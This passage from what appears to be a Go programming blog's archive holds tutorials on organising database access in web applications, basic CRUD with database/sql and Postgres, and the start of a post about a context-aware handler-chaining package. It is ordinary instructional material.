http.StatusText(500), 500) return } // Loop through the 3 albums, writing the details as a plain text list // to the client. for i, ab := range albums { fmt.Fprintf(w, "%d) %s by %s: £%.2f [%d likes] \n", i+1, ab.Title, ab.Artist, ab.Price, ab.Likes) } } One note about WATCH: a key will remain WATCHed until either we either EXEC (or DISCARD) our transaction, or we manually call UNWATCH on the key. So calling EXEC, as we do in the above example, is sufficient and the likes sorted set will be automatically UNWATCHed. Making a request to the GET /popular route should now yield a response similar to: $ curl -i localhost:4000/popular HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/plain; charset=utf-8 Date: Sat, 17 Aug 2019 17:10:13 GMT 1) Rumours by Fleetwood Mac: £7.95 [12 likes] 2) Nevermind by Nirvana: £5.95 [8 likes] 3) Electric Ladyland by Jimi Hendrix: £4.95 [8 likes]

• Organising database access in Go
  Jul 16, 2015

  A few weeks ago someone created a thread on Reddit asking: In the context of a web application what would you consider a Go best practice for accessing the database in (HTTP or other) handlers? The replies it got were a genuinely interesting mix. Some people advised using dependency injection, a few favoured the simplicity of using global variables, others suggested putting the connection pool pointer into the request context. Me? I think the right answer depends on the project. What's the overall structure and size of the project? What's your approach to testing? How is it likely to grow in the future? All these things and more should play a part when you pick an approach to take. So in this post we're going to take a look at four different methods for organizing your code and structuring access to your database connection pool, and explain when they may — or may not — be a good fit for your project. Application setup I like concrete examples, so let's set up a simple book store application to help illustrate the four different approaches. If you'd like to follow along, you need to create a new bookstore database and then execute the following SQL to create a books table and add some sample records. CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Note: In this tutorial I'll be using PostgreSQL, but the principles are the same no matter what database you're using. You'll also need to run the following commands to scaffold a basic application structure and initialize a Go module: $ mkdir bookstore && cd bookstore $ mkdir models $ touch main.go models/models.go $ go mod init bookstore.alexedwards.net go: creating new go.mod: module bookstore.alexedwards.net At this point, you should have a bookstore directory on your machine with a structure exactly like this: bookstore/ ├── go.mod ├── main.go └── models └── models.go 1. Using a global variable OK, let's start by looking at storing the database connection pool in a global variable. This approach is arguably the simplest thing that works. You initialise the sql.DB connection pool in your main() function, assign it to a global variable, and then access the global from anywhere that you need to execute a database query. In the context of our book store application, the code would look something like this: File: models/models.go package models import ( "database/sql" ) // Create an exported global variable to hold the database connection pool. var DB *sql.DB type Book struct { Isbn string Title string Author string Price float32 } // AllBooks returns a slice of all books in the books table. func AllBooks() ([]Book, error) { // Note that we are calling Query() on the global variable. rows, err := DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) func main() { var err error // Initalize the sql.DB connection pool and assign it to the models.DB // global variable. models.DB, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } // booksIndex sends a HTTP response listing all books. func booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At this point, if you run this application and make a request to the /books endpoint you should get the following response: $ curl localhost:3000/books 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using a global variable to store the database connection pool like this is potentially a good fit when: Your application is small and simple, and keeping track of globals in your head isn't a problem. Your HTTP handlers are spread across multiple packages, but all your database-related code lives in one package. You don't need to mock the database for testing purposes. The drawbacks of using global variables are well-documented, but in practice I've found that for small and simple projects using a global variable like this works just fine, and it's (arguably) clearer and easier to understand than some of the other approaches we'll look at in this post. For more complex applications — where your handlers have more dependencies beyond just the database connection pool — it's generally better to use dependency injection instead of storing everything in global variables. The approach we've taken here also doesn't work if your database logic is spread over multiple packages, although — if you really want to — you could a separate config package containing an exported DB global variable and import "yourproject/config" into every file that needs it. I've provided a basic example in this gist. 1b. Global variable with an InitDB function A variation on the 'global variable' approach that I sometimes see uses an initialisation function to set up the connection pool, like so: File: models/models.go package models import ( "database/sql" _ "github.com/lib/pq" ) // This time the global variable is unexported. var db *sql.DB // InitDB sets up setting up the connection pool global variable. func InitDB(dataSourceName string) error { var err error db, err = sql.Open("postgres", dataSourceName) if err != nil { return err } return db.Ping() } type Book struct { Isbn string Title string Author string Price float32 } func AllBooks() ([]Book, error) { // This now uses the unexported global variable. rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "fmt" "log" "net/http" "bookstore.alexedwards.net/models" ) func main() { // Use the InitDB function to initialise the global variable. err := models.InitDB("postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } ... This is a small tweak to the global variable pattern, but it gives us a few nice benefits: All the database-related code now lives a single package, including the code to set up the connection pool. The global db variable is not exported, which removes the possibility of it being accidentally mutated by other packages at runtime. During testing, you can reuse the InitDB() function to initialise a connection pool to your test database (by calling it from TestMain() before your tests run). 2. Dependency injection In a more complex web application there are probably additional application-level objects that you want your handlers to have access to. For example, you might want your handlers to also have access to a shared logger, or a template cache, as well your database connection pool. Rather than storing all these dependencies in global variables, a neat approach is to store them in a single custom Env struct like so: type Env struct { db *sql.DB logger *log.Logger templates *template.Template } The nice thing about this is that you can then define your handlers as methods against Env. This gives you a easy and idiomatic way of making the connection pool (and any other dependencies) available to your handlers. Here's a full example: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Update the AllBooks function so it accepts the connection pool as a // parameter. func AllBooks(db *sql.DB) ([]Book, error) { rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create a custom Env struct which holds a connection pool. type Env struct { db *sql.DB } func main() { // Initialise the connection pool. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Create an instance of Env containing the connection pool. env := &Env{db: db} // Use env.booksIndex as the handler function for the /books route. http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } // Define booksIndex as a method on Env. func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // We can now access the connection pool directly in our handlers. bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } One of the advantages of this pattern is how clear it is to see what dependencies our handlers have and what values they take at runtime. All the dependencies for our handlers are explicitly defined in one place (the Env struct), and we can see what values they have at runtime by simply looking at how it is initialised in the main() function. Another benefit is that any unit tests for our handlers can be completely self-contained. For example, a unit-test for booksIndex() could create an Env struct containing a connection pool to a test database, then call it's booksIndex() method in order to test the handler behaviour. There's no need to rely any global variables outside of the test. In general, dependency injection in this way is quite a nice approach when: There is a common set of dependencies that your handlers need access to. All your HTTP handlers live in one package, but your database-related code may be spread across multiple packages. You don't need to mock the database for testing purposes. 2b. Dependency injection via a closure If you don't want to define your handlers as methods on Env, an alternative approach is to put your handler logic into a closure and close over the Env variable like so: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { db *sql.DB } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{db: db} // Pass the Env struct as a parameter to booksIndex(). http.Handle("/books", booksIndex(env)) http.ListenAndServe(":3000", nil) } // Use a closure to make Env available to the handler logic. func booksIndex(env *Env) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } } This pattern makes our handler functions a bit more verbose, but it can be a useful technique if you want to use dependency injection when your handlers are spread across multiple packages. Here's a gist demonstrating how that can work. 3. Wrapping the connection pool The third pattern we'll look at uses dependency injection again, but this time we're going to wrap the sql.DB connection pool in our own custom type. Let's jump straight in to the code: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Create a custom BookModel type which wraps the sql.DB connection pool. type BookModel struct { DB *sql.DB } // Use a method on the custom BookModel type to run the SQL query. func (m BookModel) All() ([]Book, error) { rows, err := m.DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // This time make models.BookModel the dependency in Env. type Env struct { books models.BookModel } func main() { // Initialise the connection pool as normal. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Initalise Env with a models.BookModel instance (which in turn wraps // the connection pool). env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // Execute the SQL query by calling the All() method. bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At first glance this pattern might feel more confusing than the other options we've looked at — especially if you're not very familiar with Go. But it has some distinct advantages over our previous examples: The database calls are succinct and read very nicely from the perspective of our handlers: env.books.All() versus the previous models.AllBooks(env.db). In a complex application, your database access layer might have more dependencies than just the connection pool. This pattern allows us to store all those dependencies in the custom BookModel type, rather than having to pass them as parameters with every call. Because the database actions are now defined as methods on our custom BookModel type, it opens up the opportunity to replace any references to BookModel in our application code with an interface. And in turn, that means that we can create a mock implementation of our BookModel which can be used during testing. The final point here is probably the most important, so let's take a look at what it could look like in practice: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { // Replace the reference to models.BookModel with an interface // describing its methods instead. All the other code remains exactly // the same. books interface { All() ([]models.Book, error) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Note: If you're not familiar with the concept of interfaces or how they work in Go, I've written a detailed tutorial explaining them here. Once you've made that change, you should be able to create and run a unit test for the booksIndex() handler using a mockBookModel like so: $ touch main_test.go File: main_test.go package main import ( "net/http" "net/http/httptest" "testing" "bookstore.alexedwards.net/models" ) type mockBookModel struct{} func (m *mockBookModel) All() ([]models.Book, error) { var bks []models.Book bks = append(bks, models.Book{"978-1503261969", "Emma", "Jayne Austen", 9.44}) bks = append(bks, models.Book{"978-1505255607", "The Time Machine", "H. G. Wells", 5.99}) return bks, nil } func TestBooksIndex(t *testing.T) { rec := httptest.NewRecorder() req, _ := http.NewRequest("GET", "/books", nil) env := Env{books: &mockBookModel{}} http.HandlerFunc(env.booksIndex).ServeHTTP(rec, req) expected := "978-1503261969, Emma, Jayne Austen, £9.44\n978-1505255607, The Time Machine, H. G. Wells, £5.99\n" if expected != rec.Body.String() { t.Errorf("\n...expected = %v\n...obtained = %v", expected, rec.Body.String()) } } $ go test -v === RUN TestBooksIndex --- PASS: TestBooksIndex (0.00s) PASS ok bookstore.alexedwards.net 0.003s Wrapping the connection pool with a custom type and combining it with dependency injection via an Env struct is quite a nice approach when: There is a common set of dependencies that your handlers need access to. Your database layer has more dependencies than just the connection pool. You want to mock the database during unit tests. 4. Request context Finally let's look at using request context to store and pass around the database connection pool. Just to be clear upfront, I don't recommend using this approach, and the official documentation advises against it too: Use context Values only for request-scoped data that transits processes and APIs, not for passing optional parameters to functions. In other words, that means request context should only be used to store values which are created during an individual request cycle and are no longer needed after the request has completed. It's not really intended to store long-lived handler dependencies like connection pools, loggers or template caches. That said, some people do use request context in this way, and it's worth being aware of in case you ever come across it. The pattern works like this: File: main.go package main import ( "context" "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create some middleware which swaps out the existing request context // with new context.Context value containing the connection pool. func injectDB(db *sql.DB, next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { ctx := context.WithValue(r.Context(), "db", db) next.ServeHTTP(w, r.WithContext(ctx)) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Wrap the booksIndex handler with the injectDB middleware, // passing in the new context.Context with the connection pool. http.Handle("/books", injectDB(db, booksIndex)) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { // Pass the request context onto the database layer. bks, err := models.AllBooks(r.Context()) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Essentially, what's happening here is that the injectDB middleware replaces the request context for every request with one that contains the connection pool. Then, in our handlers, we pass the request context on to our database layer. Then in the database layer we can retrieve the connection pool from the context and use it like this: File: models/models.go package models import ( "context" "database/sql" "errors" ) type Book struct { Isbn string Title string Author string Price float32 } func AllBooks(ctx context.Context) ([]Book, error) { // Retrieve the connection pool from the context. Because the // r.Context().Value() method always returns an interface{} type, we // need to type assert it into a *sql.DB before using it. db, ok := ctx.Value("db").(*sql.DB) if !ok { return nil, errors.New("could not get database connection pool from context") } rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } If you go ahead and run this code it'll work just fine. But this pattern has some big downsides: Each time we retrieve the connection pool from the context we need to type assert it and check for any errors. This makes our code more verbose, and we lose the compile-time type safety that we have with the other approaches. Unlike the dependency injection patterns, it's not clear to see what dependencies a function has just by looking at its signature. Instead, you have to read through the code to see what it is retrieving from the request context. In a small application this isn't a problem — but if you're trying to get to grips with a large, unfamiliar, codebase then it's not ideal. It's not idiomatic Go. Using the request context in this way goes against the advice in the official documentation, and that means the pattern might be surprising or unfamiliar to other Go developers. So, is there ever a scenario where this pattern is a good fit? It's tempting to be glib here and say "no", but the truth is that it can be an easy-ish way to pass around the connection pool if you have a sprawling codebase with handlers and database logic spread across many different packages. But if you're considering using it for that reason, then it's probably a sign that you should refactor your codebase to have a simpler, flatter, package structure. Or, alternatively, I would suggest taking a closer look at the closure pattern we talked about earlier instead.

• Practical Persistence in Go: SQL Databases
  Jun 13, 2015

  This is the first in a series of tutorials about persisting data in Go web applications. In this post we'll be looking at SQL databases. I'll explain the basics of the database/sql package, walk through building a working application, and explore a couple of options for cleanly structuring your code. Before we get started you'll need to go get one of the drivers for the database/sql package. In this post I'll be using Postgres and the excellent pq driver. But all the code in this tutorial is (nearly) exactly the same for any other driver or database – including MySQL and SQLite. I'll point out the very few Postgres-specific bits as we go. $ go get github.com/lib/pq Basic usage Let's build a simple Bookstore application, which carries out CRUD operations on a books table. If you'd like to follow along, you'll need to create a new bookstore database and scaffold it with the following: CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Once that's done, head over to your Go workspace and create a new bookstore package directory and a main.go file: $ cd $GOPATH/src $ mkdir bookstore && cd bookstore $ touch main.go Let's start with some code that executes a SELECT * FROM books query and then prints the results to stdout. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" ) type Book struct { isbn string title string author string price float32 } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } rows, err := db.Query("SELECT * FROM books") if err != nil { log.Fatal(err) } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { log.Fatal(err) } bks = append(bks, bk) } if err = rows.Err(); err != nil { log.Fatal(err) } for _, bk := range bks { fmt.Printf("%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } There's a lot going on here. We'll step through this bit-by-bit. The first interesting thing is the way that we import the driver. We don't use anything in the pq package directly, which means that the Go compiler will raise an error if we try to import it normally. But we need the pq package's init() function to run so that our driver can register itself with database/sql. We get around this by aliasing the package name to the blank identifier. This means pq.init() still gets executed, but the alias is harmlessly discarded (and our code runs error-free). This approach is standard for most of Go's SQL drivers. Next we define a Book type – with the struct fields and their types aligning to our books table. For completeness I should point out that we've only been able to use the string and float32 types safely because we set NOT NULL constraints on the columns in our table. If the table contained nullable fields we would need to use the sql.NullString and sql.NullFloat64 types instead – see this Gist for a working example. Generally it's easiest to avoid nullable fields altogether if you can, which is what we've done here. In the main() function we initialise a new sql.DB object by calling sql.Open(). We pass in the name of our driver (in this case "postgres") and the connection string (you'll need to check your driver documentation for the correct format). It's worth emphasising that the sql.DB object it returns is not a database connection – it's an abstraction representing a pool of underlying connections. You can change the maximum number of open and idle connections in the pool with the db.SetMaxOpenConns() and db.SetMaxIdleConns() methods respectively. A final thing to note is that sql.DB is safe for concurrent access, which is very convenient if you're using it in a web application (like we will shortly). From there we follow a standard pattern that you'll see often: We fetch a resultset from the books table using the DB.Query() method and assign it to a rows variable. Then we defer rows.Close() to ensure the resultset is properly closed before the parent function returns. Closing a resultset properly is really important. As long as a resultset is open it will keep the underlying database connection open – which in turn means the connection is not available to the pool. So if something goes wrong and the resultset isn't closed it can rapidly lead to all the connections in your pool being used up. Another gotcha (which caught me out when I first began) is that the defer statement should come after you check for an error from DB.Query. Otherwise, if DB.Query() returns an error, you'll get a panic trying to close a nil resultset. We then use rows.Next() to iterate through the rows in the resultset. This preps the first (and then each subsequent) row to be acted on by the rows.Scan() method. Note that if iteration over all of the rows completes then the resultset automatically closes itself and frees-up the connection. We use the rows.Scan() method to copy the values from each field in the row to a new Book object that we created. We then check for any errors that occurred during Scan, and add the new Book to the bks slice we created earlier. When our rows.Next() loop has finished we call rows.Err(). This returns any error that was encountered during the interation. It's important to call this – don't just assume that we completed a successful iteration over the whole resultset. If our bks slice has been filled successfully, we loop through it and print the information about each book to stdout. If you run the code you should get the following output: $ go run main.go 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using in a web application Let's start to morph our code into a RESTful-ish web application with 3 routes: GET /books – List all books in the store GET /books/show – Show a specific book by its ISBN POST /books/create – Add a new book to the store We've just written all the core logic we need for the GET /books route. Let's adapt it into a booksIndex() HTTP handler for our web application. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" ) type Book struct { isbn string title string author string price float32 } var db *sql.DB func init() { var err error db, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } if err = db.Ping(); err != nil { log.Fatal(err) } } func main() { http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } rows, err := db.Query("SELECT * FROM books") if err != nil { http.Error(w, err.Error(), 500) return } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { http.Error(w, err.Error(), 500) return } bks = append(bks, bk) } if err = rows.Err(); err != nil { http.Error(w, err.Error(), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } So how is this different? We use the init() function to set up our connection pool and assign it to the global variable db. We're using a global variable to store the connection pool because it's an easy way of making it available to our HTTP handlers – but it's by no means the only way. Because sql.Open() doesn't actually check a connection, we also call DB.Ping() to make sure that everything works OK on startup. In the booksIndex hander we return a 405 Method Not Allowed response for any non-GET request. Then we have our data access logic. This is exactly the same as the earlier example, except that we're now returning proper HTTP errors instead of exiting the program. Lastly we write the books' details as plain text to the http.ResponseWriter. Run the application and then make a request: $ curl -i localhost:3000/books HTTP/1.1 200 OK Content-Length: 205 Content-Type: text/plain; charset=utf-8 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Querying a single row For the GET /books/show route we want to retrieve single book based on its ISBN, with the ISBN being passed in the query string like: /books/show?isbn=978-1505255607 We'll create a new bookShow() handler for this: File: main.go ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.ListenAndServe(":3000", nil) } ... func booksShow(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") if isbn == "" { http.Error(w, http.StatusText(400), 400) return } row := db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) bk := new(Book) err := row.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err == sql.ErrNoRows { http.NotFound(w, r) return } else if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } Once again the handler starts again by checking that it's dealing with a GET request. We then use the Request.FormValue() method to fetch the ISBN value from the request query string. This returns an empty string if there's no parameter found, so we check for that and issue a 400 Bad Request response if it's missing. Now we get to the interesting bit: DB.QueryRow(). This method is similar to DB.Query, except that it fetches a single row instead of multiple rows. Because we need to include untrusted input (the isbn variable) in our query we take advantage of placeholder parameters, passing in the value of our placeholder as the second argument to DB.QueryRow() like so: db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) Behind the scenes, db.QueryRow (and also db.Query() and db.Exec()) work by creating a new prepared statement on the database, and subsequently execute that prepared statement using the placeholder parameters provided. This means that all three methods are safe from SQL injection when used correctly . From Wikipedia: Prepared statements are resilient against SQL injection, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped. If the original statement template is not derived from external input, injection cannot occur. The placeholder parameter syntax differs depending on your database. Postgres uses the $N notation, but MySQL, SQL Server and others use the ? character as a placeholder. OK, let's get back to our code. After we've got a row from DB.QueryRow() we use row.Scan() to copy the values into a new Book object. Note how any errors from DB.QueryRow() are deferred and not surfaced until we call row.Scan(). If our query returned no rows, our call to row.Scan() will return an error of the type sql.ErrNoRows. We check for that error type specifically and return a 404 Not Found response if that's the case. We then handle all other errors by returning a 500 Internal Server Error. If everything went OK, we write the book details to the http.ResponseWriter. Give it a try: $ curl -i localhost:3000/books/show?isbn=978-1505255607 HTTP/1.1 200 OK Content-Length: 54 Content-Type: text/plain; charset=utf-8 978-1505255607, The Time Machine, H. G. Wells, £5.99 If you play around with the ISBN value, or issue a malformed request you should see that you get the appropriate error responses. Executing a statement For our final POST /books/create route we'll make a new booksCreate() handler and use DB.Exec() to execute a INSERT statement. You can take the same approach for an UPDATE, DELETE, or any other action that doesn't return rows. Here's the code: File: main.go ... import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" "strconv" ) ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.HandleFunc("/books/create", booksCreate) http.ListenAndServe(":3000", nil) } ... func booksCreate(w http.ResponseWriter, r *http.Request) { if r.Method != "POST" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") title := r.FormValue("title") author := r.FormValue("author") if isbn == "" || title == "" || author == "" { http.Error(w, http.StatusText(400), 400) return } price, err := strconv.ParseFloat(r.FormValue("price"), 32) if err != nil { http.Error(w, http.StatusText(400), 400) return } result, err := db.Exec("INSERT INTO books VALUES($1, $2, $3, $4)", isbn, title, author, price) if err != nil { http.Error(w, err.Error(), 500) return } rowsAffected, err := result.RowsAffected() if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "Book %s created successfully (%d row affected)\n", isbn, rowsAffected) } Hopefully this is starting to feel familiar now. In the booksCreate() handler we check we're dealing with a POST request, and then fetch the request parameters using request.FormValue(). We verify that all the necessary parameters exist, and in the case of price use the strconv.ParseFloat() to convert the parameter from a string into a float. We then carry out the insert using db.Exec(), passing our new book details as parameters just like we did in the previous example. Note that DB.Exec(), like DB.Query() and DB.QueryRow(), is a variadic function, which means you can pass in as many parameters as you need. The db.Exec() method returns an object satisfying the sql.Result interface, which you can either use (like we are here) or discard with the blank identifier. The sql.Result() interface guarantees two methods: LastInsertId() – which is often used to return the value of an new auto increment id, and RowsAffected() – which contains the number of rows that the statement affected. In this code we're picking up the latter, and then using it in our plain text confirmation message. It's worth noting that not all drivers support the LastInsertId() and RowsAffected() methods, and calling them may return an error. For example, pq doesn't support LastInsertId() – if you need that functionality you'll have to take an approach like this one. Let's try out the /books/create route, passing our parameters in the POST body: $ curl -i -X POST -d "isbn=978-1470184841&title=Metamorphosis&author=Franz Kafka&price=5.90" localhost:3000/books/create HTTP/1.1 200 OK Content-Length: 58 Content-Type: text/plain; charset=utf-8 Book 978-1470184841 created successfully (1 row affected) Using DB.Prepare() Something you might be wondering is: Why aren't we using DB.Prepare()? As I explained a bit earlier, we kinda are behind the scenes. All of DB.Query(), DB.Exec() and DB.QueryRow() set up a prepared statement on the database, run it with the parameters provided, and then close (or deallocate) the prepared statement. But the downside of this is obvious: we have 3 round trips to the database with each HTTP request, whereas if we set up prepared statements with DB.Prepare() – possibly in the init() function – we could have only one round trip each time. But the trade-off isn't that simple. Prepared statements only last for the duration of the current database session. If the session ends, then the prepared statements must be recreated before being used again. So if there's database downtime or a restart you'll need to recreate the prepared statements. For a web application where latency is critical it might be worth the effort to setup monitoring for your database, and reinitialise the prepared statements after an outage. But for an application like this where latency isn't that important, using DB.Query() et al is clear and effective enough. There's a Google groups thread which discusses this in more detail. Refactoring At the moment all our database access logic is mixed in with our HTTP handlers. It's probably a good idea to refactor this for easier maintainability and DRYness as our application grows. But this tutorial is already pretty long, so I'll explore some of the options for refactoring our code in the next post – Practical Persistence in Go: Organising Database Access (coming soon!) Additional tools The Sqlx package by Jason Moiron provides some additions to the standard database/sql functionality, including support for named placeholder parameters and automatic marshalling of rows into structs. If you're looking for something more ORM-ish, you might like to consider Modl by the same author, or gorp by James Cooper. The null package by can help make managing nullable values easier, if that's something you need to do a lot of. Lastly, I found the tutorials at go-database-sql.org to be clear and helpful. Especially worth reading is the surprises and limitations section. If you found this post useful, you might like to subscribe to my RSS feed.

• Context-aware Handler chains
  Dec 03, 2014

  I've written a package for chaining context-aware handlers in Go, called Stack. It was heavily inspired by Alice. What do you mean by 'context-aware'? If you're using a middleware pattern to process HTTP requests in Go, you may want to share some data or context between middleware handlers and your application handlers. For example you might want to: Use some middleware to create a CRSF token, and later render the token to a template in your application handler. Or perhaps... Authenticate a user in one middleware handler, and then pass the user details to a second middleware handler which checks if the user is authorised to access the resource. There are a few packages that can help with this. Matt Silverlock has written a good article about some of the different approaches and tools – I won't rehash it here, instead I recommend giving it a read. Why make another package? Because none of the existing tools seemed ideal – at least to me. Gorilla Context is simple and very flexible, but relies on a global context map and you remembering to clear the context after each request. (It's still my favourite though). Goji provides request-scoped context, which is good, but it's part of a larger package and ties you into using the Goji router. The same is true of Gocraft/web, which also relies on reflection tricks under the hood that I struggle to wrap my head around. I realised that the only time you need to worry about context is when you're chaining handlers together. So I looked at my favorite tool for chaining handlers, Alice, and began adapting that to create Stack. I wanted the package to: Do a simple job, and then get out of the way. Provide a request-scoped context map. Let you create stackable, reusable, handler chains in the Alice style. Be as type-safe at compile time 